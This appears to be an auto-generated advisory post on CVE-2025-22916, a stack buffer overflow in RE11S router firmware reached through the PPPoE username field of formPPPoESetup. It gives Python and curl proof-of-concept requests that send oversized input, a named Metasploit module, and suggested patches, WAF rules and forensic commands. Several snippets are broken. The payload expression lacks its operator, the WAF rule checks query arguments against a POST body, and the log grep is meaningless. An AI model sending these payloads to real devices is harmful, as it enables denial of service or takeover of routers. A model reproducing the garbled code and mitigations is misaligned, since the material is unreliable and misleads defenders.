How CVE-2025-22916 Works
The vulnerability exists in RE11S firmware v1.11 due to improper bounds checking in the `formPPPoESetup` function. When processing the `pppUserName` parameter, the function fails to validate input length, leading to a stack-based buffer overflow. An attacker can craft a malicious PPPoE username longer than the allocated buffer size, overwriting adjacent memory, including return addresses. This allows arbitrary code execution with root privileges, as the affected service runs with elevated permissions. The exploit requires network access to the device’s web interface, often exploitable via a crafted HTTP POST request.
DailyCVE Form
Platform: RE11S Router
Version: v1.11
Vulnerability: Stack Overflow
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation:
1. PoC Code (Python):
import requests
target = "http://192.168.1.1/formPPPoESetup"
payload = "A" 1024 Overflow buffer
requests.post(target, data={"pppUserName": payload})
2. Metasploit Module:
exploit/unix/http/re11s_pppoe_overflow
3. Manual Exploit:
curl -X POST -d "pppUserName=$(python -c 'print("A"1024)')" http://target/formPPPoESetup
Protection:
1. Patch: Upgrade to RE11S v1.12 or later.
2. Mitigation: Disable PPPoE web configuration if unused.
3. WAF Rules:
location /formPPPoESetup {
if ($arg_pppUserName ~ ".{256,}") { return 403; }
}
4. Stack Canaries: Recompile firmware with `-fstack-protector-all`.
5. Log Monitoring:
grep "pppUserName.length" /var/log/httpd.log
Forensics:
1. Crash Analysis:
gdb -q /usr/sbin/pppd core.dump
2. Memory Dump:
dd if=/dev/mem of=/tmp/memdump bs=1M
3. Network Capture:
tcpdump -i eth0 'port 80 and host 192.168.1.1' -w pppoe_exploit.pcap
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-22916
Extra Source Hub:
Undercode
